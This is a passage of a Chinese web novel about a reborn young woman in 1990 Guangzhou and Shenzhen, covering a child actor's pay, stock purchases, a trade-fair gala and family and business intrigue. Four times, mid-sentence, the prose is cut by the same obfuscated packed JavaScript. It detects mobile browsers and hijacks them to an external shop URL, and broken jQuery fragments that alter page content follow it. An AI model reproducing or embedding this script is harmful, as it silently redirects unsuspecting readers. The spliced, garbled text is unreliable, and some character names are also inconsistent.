电话那头的老周被这河东狮吼震得耳朵发麻,连声解释:“姑娘!误会啊!我们是正规港资剧组!你弟弟是自愿来的,我们没拐他!” “他一个十四岁的孩子懂什么?!你让他接电话!” 老周招架不住,赶忙对着片场大喊:“刘杰!快来!你朋友他姐要报警了!” 片刻后,电话里传来刘杰急促又心虚的声音:“姐!是我!刘杰啊!你别报警!文韬没事!我们真在拍戏呢!” 听到熟悉的声音,裴文莹那颗悬在嗓子眼的心才算落了地,但怒火依旧未消:“刘杰?!你怎么也跟着胡闹?你们到底在哪儿?!” “我们在广州拍电影呢!文韬演少年汉武帝!还有两天就拍完了,我们拿到钱立刻去深城找你!你别着急,千万别着急,文韬我俩在一起呢……没有被关起来……嗯嗯,人身自由着呢……没事,没事……” 挂断电话,裴文莹脱力般靠在电话亭的铁柱上,看着天边被夕阳染红的晚霞,长长地吐出了一口气。这两个胆大包天的熊孩子! 而此时的旗山县,同样掀起了风暴。 刚从广州回到县城的王建国,一踏进家门,就被刘杰妈妈的哭骂声震憾了,愣在原地。 刘杰留了一张去广州闯荡的字条,还偷走了家里的五百块钱。刘杰的母亲是县教育局的干部,平日里最讲体面,此刻却红着眼眶,气得直掉眼泪。 王建国赶忙解释:“赵老师!别急!刘杰人在广州呢!就是钱包被偷了……他说跟您通了电话,您要过去接他,我就先回来了……” “我通他个头哟!”刘杰妈妈脸色铁青,气得手都在发抖,“偷钱、逃学、撒谎、离家出走!这小王八蛋是要反了天了!” 刘杰爸爸在旁边赶忙递水:“老婆,你消消气……” “消什么气?!”刘杰妈妈把字条往桌上一拍,眼神杀气腾腾,“买票!我现在就去广州!我不把这小子的腿打断,我就不姓赵!” 王建国缩了缩脖子,暗自替远在广州的刘杰捏了一把冷汗。 十天的拍摄终于迎来了尾声。 少年天子这部分收工的那天下午,广州难得刮起了一阵清爽的微风。 十天里,裴文韬穿着沉重的帝王华服,享受着吹风机和冰汽水的待遇;而刘杰则跑前跑后,帮场工搬木箱、递道具,甚至被拉去当各种路人背景,短短十天皮肤晒得黝黑,倒比以前结实了不少。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17825859|210502||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' /p> 杀青结账时,财务搬出了现金。 因为延长了三天戏份,加上定妆照的剧照授权,裴文韬整整领到了六千五百块钱。 而勤勤恳恳打杂的刘杰,也分到了五百五十块钱的劳务费。在裴文韬的坚持下,老周还特意让财务多给了刘杰五十块钱的“照片授权费”。 “刘杰,等照片洗出来,我给你寄学校去!”摄影师开玩笑地拍了拍穿着小太监服的刘杰。 刘杰握着自己挣来的五百多块钱,笑得合不拢嘴,可一想到今晚就要抵达到广州的父母,两条腿又开始发软。 两个少年背着包站在招待所门口,等待着各自命运的裁决。 刘杰要留在广州接受父母暴风骤雨的教育;而裴文韬,则被请假赶来的裴文莹直接领上了开往深城的大巴。 夕阳西下,大巴车行驶在通往深城的广深公路上。 车厢里摇摇晃晃,十天高强度的拍摄让裴文韬疲惫不堪,他靠在姐姐的肩膀上,沉沉地睡着了。 裴文莹侧过头,看着弟弟消瘦的面庞。少年长高了,下巴有了锋利的轮廓,眼青色里带着丝丝疲态。 直到大巴驶入深城市区,裴文韬才悠悠醒来。 他揉了揉眼睛,从怀里的蓝帆布包深处掏出一个用报纸严严实实包裹着的厚方块,像献宝一样递到裴文莹面前。 “姐,给你看个好东西。”裴文韬眼里闪烁着骄傲的光彩。 报纸层层剥开,露出了一整叠散发着油墨味的百元大钞。 “六千五百块。”裴文韬微仰着头,语气里是掩饰不住的自豪,“凭我自己本事挣来的。” 裴文莹看着那叠沉甸甸的钞票,心里既震惊又复杂。在这个普通工人工资不过一两百块的年代,一个十四岁的少年,十天赚了普通人几年的收入。 她没有立刻夸奖,而是轻声问:“文韬,跟姐姐说实话。你为什么突然这么急着要赚钱?” 裴文韬摸了摸鼻尖,有些不好意思,沉默了一会儿,小声开口:“我是为了……我同学。” “你同学?哪个同学?” 裴文韬的声音低了下来,带着一种与年龄不符的沉重,“坐刘杰前边那个同学,他后妈对他不好,经常打他,有时候透过衣服我都能看见他背上的伤痕。他家里不给交学费,也不给伙食费,他每天要饿着肚子走三十里山路上下学……姐,他真的太惨了。” 裴文韬抬起头,眼神赤诚:“我想,我挣了这笔钱,就能帮他把伙食费交了。这样他就能住在学校里,顿顿吃上饱饭,再也不用回那个家挨打了。” 听着弟弟断断续续的讲述,裴文莹眼眶微红,伸手紧紧揉了揉弟弟的头发,“好。” 裴文韬腼腆地笑了一下,又停住了。 裴文莹思考了一下说道:“帮朋友是好事,但人都有自尊心。你同学虽然过得苦,但他也有自己的骄傲。如果你直接把这几千块钱甩在他面前,可能会伤了他的尊严,让他觉得你在施舍他。” 裴文韬愣住了,抬起头茫然地看着姐姐:“那……那怎么办?” 裴文莹温和地笑了笑,替他理了理领口:“等回了县城,你悄悄去找校长把钱交了,让校长告诉他,这是资助优秀困难学生的奖学金。再让校长给他安排个勤工俭学岗位。这样,他会更有尊严。” 裴文韬的眼睛一点点亮了起来,像落入了满天繁星。他重重点了点头。 22. 第 22 章 裴文韬结束了深城之旅,被裴文莹送上了开往西照市的列车。 “下次再敢玩失踪,我真打断你的腿。”裴文莹站在车窗外,作势要拧弟弟的耳朵。 裴文韬把脸贴在满是手印的玻璃窗上,冲她傻笑,用力挥着手。 裴文莹今天穿了一件红色的短袖真丝衬衫,下摆利落地扎进黑色高腰九分裤里,乌黑的长发挽成一个马尾,露出修长的脖颈,整个人显得清爽干练。 送走裴文韬后,裴文莹的心里微微有些空落。她转身走向出站口,腰间的传呼机突然震动起来。 她走到站外的公用电话亭,投下硬币,拨通了留言上的号码。电话刚一接通,那头就传来了大哥的师傅周群雄因兴奋而变调的声音。 “文莹,嘿嘿,你看新闻了吗?咱们要发财了啊!!” 裴文莹将听筒拿远了一些,嘴角却不自觉地扬了起来:“周叔,怎么了?” “县里刚刚下了红头文件!旗山县要重新规划城市版图,行政中心和商业中心全面向南搬迁!咱们当初买下的那片荒地,正好被划在了新县委大院和中心广场的规划线里!” 前世的记忆没有错。那块曾经无人问津的荒地,终于要变成黄金地块了。 “周叔,”裴文莹努力安抚兴奋的周群雄,“不管有人开多高的价,现在都不要卖啊。” “不卖?那咱们等什么?” “等政府的正式征收文件,或者等更有实力的开发商来谈联合开发。”裴文莹冷静地分析道,“现在只是刚出规划,地价还会涨。这块地,以后会有更大的价值。” 周群雄冷静下来了,连连答应。 挂断电话,裴文莹长长地吐出了一口气。走出电话亭,就看到顾飞羽正站在不远处的梧桐树下等她。 他今天穿着一件质地精良的白色衬衫,领口微微敞开,袖口随意地挽到手肘处,露出一截结实流畅的小臂。下身是一条笔挺的黑色西裤,脚踩锃亮的皮鞋。阳光透过树叶的缝隙斑驳地落在他身上,让他整个人显得干净利落,又透着一股书卷气。 “飞羽。”裴文莹走上前,“等久了吧?” “刚到。”顾飞羽看着她,勉强扯出一个温和的笑意,“文韬上车了?” “嗯,像只脱缰的野马,总算回去了。”裴文莹敏锐地察觉到了他的情绪低落,放慢了脚步与他并肩而行,“你怎么了?脸色这么差,家里出事了?” 顾飞羽沉默了片刻,两人沿着街道慢慢走着。 “我爷爷住院了,心脏病发,刚从ICU里抢救回来。”顾飞羽的声音淡淡。 裴文莹脚步一顿:“怎么会这样?” 顾飞羽自嘲地牵了牵嘴角,眼神中透着深深的无奈与疲惫:“因为股票。” 这半年,深城股市迎来了长达数月的暴跌。曾经疯狂涨到八十多块的深蓝田,如今一路狂泻。 “我姑姑瞒着家里,拿了我爷爷积攒了一辈子的二十万养老钱去炒股。”顾飞羽低声说着,“她太贪心,在深蓝田跌到34块钱的时候抄底买入,以为能反弹。结果大盘一泻千里,现在跌到了6块多。二十万的本金,缩水得只剩下四万。” 裴文莹了然地看着他。 九十年代初,全民炒股,这种家庭悲剧每天都在深城的各个角落上演。帮亲戚炒股,或者拿老人的钱炒股,牛市的时候你好我好,熊市一到,人性最丑陋的一面便暴露无遗。 “然后呢?你姑姑不认账了?”裴文莹一针见血。 顾飞羽苦笑了一声:“是啊。她怕赔光爷爷的老本没法向家里交代,就一口咬定是爷爷自己要买的,她只是代为操作,风险该由老爷子自己担。我爷爷是个老革命,一辈子清清白白,被亲生女儿这么一气,当场心梗倒在了地上。” 豪门里的算计一地鸡毛,裴文莹没有说话,只是静静地听着。 顾飞羽停下脚步,转头看向裴文莹,清俊的眼眸里带着一丝疲惫:“我按当初34块钱的原价,买下了我姑姑手里的股票,把钱转到了爷爷的账上。” 裴文莹微微有些动容。以34元的高价接盘跌到6块的股票,这意味着顾飞羽之前和她一起在股市里赚到的第一桶金,几乎赔进去了一大半。 “手续都办清楚了吗?”裴文莹冷静地问。 顾飞羽点头:“办好了,白纸黑字,她签了字按了手印,股票现在全在我名下。” 裴文莹略微放下了心。财帛动人心,没有白纸黑字,到了明年股市狂飙的时候,那位姑姑肯定又会反咬一口。 “心里不甘吧?”裴文莹轻声问。 顾飞羽叹了口气,靠在街边的栏杆上:“说实话,是有点不甘。觉得自己像个冤大头。不过为了爷爷,为了家里不再乌烟瘴气,算了。只是……现在本金少了太多,再想在股市里做点什么,怕是没那么容易了。” 裴文莹看着他郁结的模样,忽然轻轻笑了起来。 “飞羽,古话说‘塞翁失马,焉知非福’。你现在觉得做了冤大头,可在我看来,以后的事还很难说哦。” 顾飞羽微微一愣,不明所以。 “走吧。”裴文莹拉住他的衣袖,眼底带着勃勃生机,“带你去个地方。” 深城证券交易所。 曾经人声鼎沸、犹如狂欢节般的大厅,此刻死气沉沉。 电子显示屏上一片惨绿,几乎看不到一点红色的生机。 有人低着头,揪着自己的头发蹲在墙角念念有词;有人眼神迷茫地盯着屏幕,眼底布满血丝;更多的人则是一脸愁容,焦躁地在交易柜台前徘徊。 “完了……深蓝田又跌破底了……” “早知道在五十块的时候就该割肉的!谁能想到会跌成这副鬼样子!” “再这么跌下去,我连跳楼的资格都没有了!” 顾飞羽环视着四周,眉头紧锁:“这几个月,跌得太狠了。市场情绪已经崩溃了。” 裴文莹没有说话,扫过高悬的交易牌。深蓝田,6.2元。深田野,11.8 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17831387|210502||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 元。 这两只股票都已经跌破了发行价。尤其是深蓝田,从最高点的83.5元狂泻至此,跌幅之大,足以让任何理性的经济学家断言它将被市场淘汰。 但裴文莹的掌心却微微出了汗。 前世的记忆在她脑海中清晰地回放——深蓝田的底部就在6块左右。几个月后,它将像坐了火箭一样,上演一场触底反弹的绝地神话,最高飙升到360元,翻了整整六十倍!而深田野,也将在明年创下百元股的辉煌。 现在,就是黎明前最黑暗,也是最便宜的时刻。 “走。”裴文莹没有任何犹豫,径直走向交易柜台。 这大半年来,她升任了车间主管,工资涨到了四千一个月。加上王建国的服装店日进斗金,半年分红她拿了三万。除去房租和日常开销,她手里的现金加上之前股市赚的本金,已经达到了惊人的三十二万。 再加上旗山县那块刚刚被划入中心规划区的黄金地皮作为心理背书,她现在,有十足的底气去豪赌一场。 “深田野,买入一万股。深蓝田,买入两万股。按现价,全仓。”裴文莹把所有的存折和证件拍在柜台上,声音清脆干练,没有一丝颤抖。 柜台里的“红马甲”交易员猛地抬起头,像看疯子一样看着这个漂亮的年轻女人。 “女仔,你疯啦?这两只股跌穿发行价,大盘现在天天跳水,你这个时候全仓进?钱多烧的啊?”旁边一个输红了眼的老股民忍不住凑过来咂嘴。 裴文莹挑了挑眉,冷静地催促交易员:“麻烦快点,我赶时间。” 站在一旁的顾飞羽彻底惊呆了。他知道裴文莹胆子大,但没想到她能大到这种地步。在所有人都在恐惧、在割肉逃离的时候,她竟然把全部身家都押了进去! “文莹,你就这么确定它会涨?”顾飞羽忍不住上前,压低声音问道。他的理智告诉他,目前的宏观经济形势和市场恐慌情绪,都不支持任何反弹。 “我不能确定。”裴文莹转过头,看着顾飞羽,“投资本来就是风险与收益并存的游戏。在别人贪婪时恐惧,在别人恐惧时贪婪。反正这钱放着也是放着,不如赌一把大的。” 顾飞羽盯着她的侧脸,发现她的神情镇定自若,没有丝毫赌徒的疯狂,只有一种近乎冷酷的理智与无畏。 “好。”顾飞羽深吸了一口气,原本因填了姑姑的窟窿而灰心丧气,现在再次热血沸腾起来。如果他妈妈在这里,一定会觉得他是色令智昏。 他走到裴文莹身边,拿出了自己仅剩的本金。“我也全仓。深田野,深蓝田,各买一半。” 当两张交割单从打印机里吐出来时,整个交易大厅的人都像看怪物一样看着这对年轻的男女。 走出交易所,耀眼的阳光刺得人睁不开眼。“走!去喝糖水!”她笑得眉眼弯弯,像个终于买到了心仪玩具的小女孩,“我请客!赚了那么多钱,我还没好好享受过呢!” 顾飞羽看着被她拉住的袖口,忍不住失笑出声。 23. 第 23 章 金秋十月,羊城广州。 珠江面上微风习习,琶洲会展中心外彩旗飘扬。这是1990年的秋季广交会,也是中国制造业向世界展示实力的最重要窗口。 郭育铭今天穿了一身考究的深色高定西服,衬得整个人沉稳而儒雅。 作为老板的贴身秘书,冯心媚自然不会放过这个展示自己的机会。她穿了一件剪裁极佳的黑色收腰西装,内搭酒红色丝绸衬衫,下配同色系一步裙,头发被一丝不苟地盘起。手里拎着一个刚托人从香港带回来的手袋,整个人精致得像个随时准备走红毯的明星。 相比之下,裴文莹的打扮就显得实在多了。 她穿了一件深绿色的高领针织衫,外搭一件质地挺括的深灰色西装外套,腰间束着一条棕色宽皮带,利落的直筒裤搭配平底皮鞋。这身装扮不算惊艳,但层次分明,透着一股干练。 “小裴,你先去咱们的展位把资料和样品理好。我陪郭总去见几个重要的老客户。”一进展馆,冯心媚便端出了一副高高在上的姿态,指了指裴文莹脚边那个巨大的黑色行李箱。 “好。”裴文莹没有多废话,拖着沉重的行李箱,转身去寻铭康精密的展位。 铭康作为一家还在上升期的台资代工厂,展位被分在了光线略暗的侧翼通道。 裴文莹手脚麻利地打开行李箱。不到半小时,原本空荡荡的展台就被她布置得井井有条:核心的电连接线样品被摆在射灯最亮的位置,不同规格的参数说明书分门别类地用压克力架支起,甚至连给客户准备的薄荷糖和矿泉水都摆放得恰到好处。 开展一个小时后,人流逐渐涌入侧翼通道。 裴文莹站在展台前,脸上挂着得体的微笑。她的普通话虽然还带着一丝淡淡的旗山乡音,但一旦开口,便立刻切换成流畅标准的粤语,将几个经过的香港贸易商唬得一愣一愣的,成功留下了几张名片。 就在这时,一位身材高大、金发碧眼的外国客商在展台前停下了脚步。 他穿着一套灰色的休闲西服,拿起一根被剥开绝缘层的精密连接线,眉头微皱,似乎在研究里面的铜芯。 “小姐,能解释一下这层屏蔽网在高频环境下的具体优势吗?”客商开口,是带着口音的英语。 不远处的通道口,刚刚陪完客户的郭育铭和冯心媚正好看到了这一幕。 冯心媚嘴角勾起一抹讥诮的冷笑,正准备看笑话。 然而,没等她笑出来,裴文莹就拿起一根样品,流利且地道的英文脱口而出: “当然,先生。我们采用高纯度无氧铜,结合95%覆盖率的镀银编织屏蔽网。这能大幅降低电磁和射频干扰,非常适合精密医疗仪器。” 裴文莹的英语有一点生硬,但很快就流畅起来。一些晦涩的专业名词,她用得很准确。 美国客商的眼睛亮了,立刻放下原本只是随意看看的架子,开始就阻抗匹配和交货周期与她深入探讨。 通道口的冯心媚脸色变幻莫测,难以置信。裴文莹每天在车间里只是管管流水线,怎么会懂英语?然而她不知道,前世裴文莹就在这个行业的底层摸爬滚打,这一年多来更是每晚在深大夜校里埋头苦学。 郭育铭的眼中流露出惊艳与赞赏。 在1990年的广交会上,能说流利英语的业务员已经算是稀缺人才,而能同时对工业参数倒背如流的,简直是凤毛麟角! 客商伸出毛茸茸的大手,重重地握住了裴文莹的手:“太棒了!你们不仅有优秀的产品,更有极度专业的沟通者。我想我们很有必要坐下来谈谈年度采购计划。” 郭育铭转过头看着江心媚,声音里掩饰不住兴奋,“你看到了吗?裴文莹简直是个宝藏!一会儿你去通知她,让她务必参加今晚的商务酒会。” 郭育铭顿了顿,远远地看了一眼裴文莹朴素的衣着,补充道:“你带她去买套像样的衣服,费用走公司账。告诉她,今晚晚宴是BlackTie(黑领结,最高规格晚宴)的着装标准,如果她不懂,你好好指导她一下。” “……好的,郭总。”冯心媚咬着牙,挤出一个僵硬的笑容。 裴文莹送走最后一波客商,嗓子有些冒烟。她正准备收拾展台资料,冯心媚踩着高跟鞋走了过来。 “小裴,郭总今晚在黑天鹅宾馆有个重要的酒会,你一会儿跟着去。”冯心媚通知她。 裴文莹愣了一下。黑天鹅宾馆?那可是深城广交会期间,最顶级的名流社交场。 “具体什么时间?有要求吗?”裴文莹谨慎地问。 冯心媚的目光在裴文莹身上飞快地扫过,嘴角勾起一抹不易察觉的冷笑。 郭总让她带裴文莹去买衣服?做梦。 她用一种极其随意的语气说道,“就是普通的商务便餐。郭总说你今天辛苦了,不用特意换衣服。” 晚上七点半,广州黑天鹅宾馆。 这座矗立在珠江畔的五星级酒店,是九十年代初财富与权力的终极象征。今晚的宴会厅被某港资财团包场,红毯从旋转玻璃门一直铺到了奢华的内场。 一辆辆高级轿车在门童的指引下缓缓停靠,走下来的无一不是西装革履的商界巨头,以及挽着他们手臂、穿着礼服、珠光宝气的女伴。 当裴文莹从一辆黄色的出租车上走下来时,她立刻察觉到了周遭氛围的异样。 她没有换衣服,这身打扮站在红毯上,就像是一只误入了天鹅湖的灰鸭子,格格不入。 来都来了,转头回去换衣服更不现实。 裴文莹深吸了一口气,压下心底隐隐的不安,迈步走向宴会厅的大门。 舒缓优雅的钢琴曲从门缝里流淌出来,透过玻璃可以看到衣香鬓影的奢靡气息。 “这位小姐,请留步。”就在她即将跨过那扇巨大的雕花木门时,一只有着雪白手套的手横在了她面前。 领班脸上挂着职业微笑:“抱歉,衣冠不整者恕不能入内。如果您是随行的工作人员,请移步左侧的员工通道。” 领班的声音不大,但在相对安静的入口处,却足够让周围的人听得清清楚楚。 周围已经有宾客停下了脚步。 “这是谁啊?穿成这样就敢往里闯?” “怕不是哪个乡镇企业老板带来的小助理,想趁机进来见见世面,钓个金龟婿吧?” 窃窃私语像无数根带刺的细针,扎向裴文 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17835186|210502||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 莹。 但她没有惊慌失措,试图在人群中寻找郭育铭的身影,向老板解释,但入目之处皆是冷漠与嘲笑的面孔。 就在领班准备招手叫安保人员过来时。 “她是我邀请来的客人。” 一道低沉、慵懒,却透着绝对掌控力的声音,突然在红毯的另一端响起。 声音不大,那些窃窃私语的名流们,瞬间像被人掐住了脖子,无法出声。 人群如同摩西分海般自动退开两侧。 裴文莹抬起头,顺着声音看去。 一个年轻男人步履从容地朝她走来。 他穿着一套剪裁极简却质地精良的黑色西装,剑眉星目,俊朗挺拔,不怒自威。 周围有低低的吸气声传来。 “港城罗家那位小少爷……” “‘罗半城’的儿子啊!他怎么会替这种女人出头?” 罗山宗没有理会周围的目光,他径直走到裴文莹面前。 他的目光在裴文莹朴素装扮上停顿了一秒,嘴角勾起一抹若有若无的笑意。他转过头,轻描淡写地扫了领班一眼:“怎么?我的人,也需要审查吗?” 领班吓得冷汗都下来了,腰弯得几乎要贴到地面:“对、对不起,罗少!是我有眼无珠,小姐请进!请进!” 罗启宗回过头,对着裴文莹伸出了一只修长干净的手。 “不知道我有没有这个荣幸,邀请这位小姐,跳一支舞?”他的语气像是在开一个玩笑,但伸出的手却不容拒绝。 裴文莹看着眼前这只手。 这是属于那个名为特权的阶层,对她施舍的一点善意或者说是无聊的消遣。她深吸了一口气,脊背挺得笔直,将手轻轻搭在罗启宗的掌心。 “谢谢。我很荣幸。”她不卑不亢地说。 罗启宗眼中闪过一丝意外的赞赏。他原本以为这个女孩会感恩戴德,或者局促不安,没想到她竟然能如此迅速地调整状态,接住了这个场子。 罗启宗的手虚虚地揽在裴文莹的腰侧,带着她进门,滑入舞池。他的舞步纯熟而优雅,每一次旋转都恰到好处地将她护在自己的安全距离内。 周围纷纷投来震惊、嫉妒甚至敬畏的目光。 一曲终了。 裴文莹轻轻从罗启宗的臂弯中退开,微微欠身:“谢谢你,罗先生。” 罗山宗端起服务生托盘里的一杯香槟,挑了下眉头,眼睛里带着审视:“不用谢。这身衣服虽然不合时宜,但在你身上,比那些无聊的礼服好看。” 裴文莹不语,低头颔首,再抬头时,眼里仿佛流转着秋日晴空下,河水泠泠的波光 罗山宗怔了一瞬,但他并没有多做停留或纠缠,举了举酒杯,转身优雅地隐入了另一侧的人群中。 他帮她,不过是出于上位者的一时兴起,并不打算要什么回报。 看着罗山宗离去的背影,裴文莹长长地吐出了一口气。 她转身,在一处光线稍暗的偏厅里,看到了正端着酒杯、脸色铁青的郭育铭,以及站在他身后、目光闪躲的冯心媚。 是非对错都已经不重要了,最难堪的时刻已经过去。裴文莹平静地向老板走去。 24. 第 24 章 旗山县的黄昏伴随着炊烟袅袅到来。 容薇薇刚推开家门,就听到母亲那刻意拔高、带着讨好的笑声。 “哎哟,王姐,您这话说得我心里可太亮堂了!我们家薇薇也就是长得周正点,工作体面点。要真能高攀上副局长家,那是她八辈子修来的福分啊!” 容薇薇心里“咯噔”一下,换鞋的动作顿住了。一股强烈的厌烦感涌上心头。 她深吸了一口气,面无表情地走进客厅。只见母亲正端着一盘洗好的葡萄,殷勤地递给坐在沙发上的中年女人。那是县里出了名的媒婆。 “哎呀,薇薇下班啦!”王阿姨一见容薇薇,眼睛立刻亮得像探照灯,上下打量着她。 “真不愧是咱们县电视台的台柱子,这身段,这模样,怪不得副局长家的公子看了你的节目,一眼就相中了!”王阿姨啧啧称赞,“薇薇啊,阿姨这次给你介绍的,可是城建局副局长的小儿子!人家在财政局上班,捧的是金饭碗!这周末,你们去国营饭店见个面,怎么样?” 容薇薇没有接茬,只是把手里的皮包挂在门后,声音冷淡:“王阿姨,谢谢您的好意。但我现在工作忙,没心思想结婚的事。” 此话一出,客厅里的气氛瞬间僵住了。 母亲脸上的笑容一顿,随即狠狠瞪了容薇薇一眼,转头对王阿姨赔笑:“这孩子,脸皮薄!您别往心里去,周末的事儿,我替她应下了!” 王阿姨满意地告辞而去。 “妈!”容薇薇关上门,声音里透着压抑的怒火,“我说过多少次了,我不想去相亲!也不想结婚!” “你这死姑娘怎么这么不知好歹?!”母亲也火了,把果盘重重磕在茶几上,葡萄滚落了一地,“你都二十多了!在咱们这小县城,二十多岁不找婆家,那是老姑娘!现在有这么好的人家打着灯笼来找你,你还拿上架子了?” “好人家?门当户对吗?”容薇薇冷笑一声,眼神锐利地刺向母亲,“妈,咱们家是什么条件,您心里没数吗?我爸死得早,您成天削尖了脑袋想把我塞进那些干部家庭,结果呢?上回那个赵主任的侄子,一听说我爸是车间工伤病退早亡的,连茶都没喝完就找借口走了!您不嫌丢人,我都替您觉得丢人!” “你——!”母亲被戳中了痛处,气得浑身发抖,指着容薇薇的鼻子,“我这么做是为了谁?还不是为了你!” “上嫁要吞针,您懂不懂?”容薇薇气急败坏。 就在这时,门被粗暴地推开,门把手撞到墙上,发出一声巨响。 容露露脸色铁青地进来,蓝色工作服已经洗得发白,身上还沾着机油和飞絮,整个人散发着一股疲惫与怨气。 容露露把手里的铝饭盒狠狠砸在餐桌上,又发出一声刺耳的响声。 “吵什么吵?!我在楼道里就听见你们在嚷嚷!”容露露疲惫地扯开衣领,看了一眼茶几上的水果点心,冷笑了一声,“哟,又是给咱们家‘大明星’介绍对象呢?妈,您这心可真够偏的,怎么不给我这快要下岗的纺织女工操操心?” 母亲一听“下岗”两个字,脸色顿时变了:“露露,你们厂里……真要不行了?” “三个月没发工资了!库房里的毛巾堆得像山一样卖不出去,厂长今天开会,说下个月就要轮着休假了!”容露露说着,眼圈猛地红了,但更多的是怨恨。 她转过头,死死盯着衣着光鲜的容薇薇:“同样是一个妈生的,凭什么?!” 容露露指着容薇薇,声音尖锐得变了调,“当年二叔在教育局有关系,把唯一一个去电视台的指标给了你!你每天坐在空调房里光鲜亮丽,我呢?!我在毛巾厂三班倒,累得像条狗!现在我连狗都不如了,马上就要被扫地出门了!” 容薇薇皱起眉头:“姐,厂里效益不好,那是大环境的问题。你把气撒在我身上有什么用?” “我就撒在你身上怎么了?!”容露露像个一点就炸的火药桶,猛地冲上前一步,“要不是你当年嘴甜会哄二叔,现在坐在电视台里的就是我!你有什么了不起的?你不就是靠着张漂亮脸蛋,指望着卖个好价钱攀高枝吗?装什么清高!” “容露露,你闭嘴!”容薇薇被这句话彻底激怒了。 “我就不闭嘴!你吃家里的用家里的,还敢顶撞妈!你就是个养不熟的白眼狼!” 母亲在一旁非但没有阻拦容露露,反而顺势抹起了眼泪,哀嚎自己命苦,生了两个不省心的女儿。 容薇薇觉得再在这个屋子里待一秒钟都会窒息。 她抓起门后的皮包,夺门而出。身后传来容露露歇斯底里的咒骂和玻璃杯砸碎在门框上的巨响。 XXX 王建国的房东老吴半靠在竹编的躺椅上,眉头拧成了一个死结。“你让我把王建国赶走,这不合规矩。”老吴重重地吸了一口烟,吐出烟雾,“我把铺子租给他,可是白纸黑字签了五年合同的。这刚过去一年多,他租金交得痛快,我凭什么赶人?” 眼镜男低低地笑了一声:“老吴,你是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17841291|210502||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 个聪明人,别光盯着那点死租金。你仔细算算,王建国那个服装店,现在一天能走多少流水?” 老吴没吭声,但眼神微微闪烁了一下。他家就住在商业街后头,王建国那店里天天人山人海,他怎么可能看不见?说不眼红,那是假的。 “这条街的服装生意,原本大家都有得赚。可现在呢?全县的小青年都往他那儿跑,周围的铺子快饿死了。”眼镜男身体微微前倾,盯着老吴,“只要王建国滚蛋,那个铺面空出来。我们愿意出双倍的租金接手,不仅如此,新店算你两成干股,稳赚不赔。” 老吴的手指微微一抖,香烟的灰烬落在了大腿上。他被烫得一哆嗦,赶紧拍掉。 两成干股?在这条县城最繁华的街上,那一年少说也有大几千甚至上万块的分红。 老吴咬了咬牙,还是摇头,“但合同是死的!违约金要赔三倍!王建国手里捏着合同,他要是不肯走,我去哪儿弄那么多钱赔他?” “谁说要你付违约金了?”眼镜男推了推鼻梁上的眼镜,镜片后闪过一丝阴毒的光芒。 他从公文包里掏出一叠报纸,拍在石桌上。 老吴凑近一看,那是几份省报和南方周末的简报,硕大的黑体字标题触目惊心——《警惕!南方沿海惊现成吨“洋垃圾”!》、《停尸房扒下的旧衣物流入内陆,传染病隐患堪忧!》。 “这……这是什么意思?”老吴愣住了。 九十年代初,内陆制造业刚刚起步,物资相对匮乏。一些不法倒爷从国外廉价收购废旧衣物,甚至是从医院废弃物、垃圾场里扒出来的衣服,走私到沿海,经过简单的熨烫翻新后,大肆倒卖到内陆。这些被称为“洋垃圾”的衣服虽然款式新颖,却携带着大量的细菌和病毒。 这段时间,媒体刚刚曝光了此事,正是全国上下谈“洋垃圾”色变的时候。 眼镜男点了点报纸:“王建国一个怀石镇出来的泥腿子,凭什么在县城称王称霸?他不是自称卖的是南方过来的进口大货吗?” 眼镜男嘴角勾起一抹不怀好意的笑:“老吴,你什么都不用做。只要等风起的时候,你去工商局递个举报信。不出三天,王建国就算有一百张嘴,他也说不清。” 老吴看着桌上的报纸,后背渐渐渗出一层冷汗。在巨大的利益面前,他沉默了许久。最终,他把手里的烟蒂扔在地上,用脚尖狠狠地碾灭。 “什么时候?” 眼镜男满意地靠回藤椅上,端起已经微凉的茶水:“明天。” 25. 第 25 章 次日上午,旗山县最繁华的商业街。 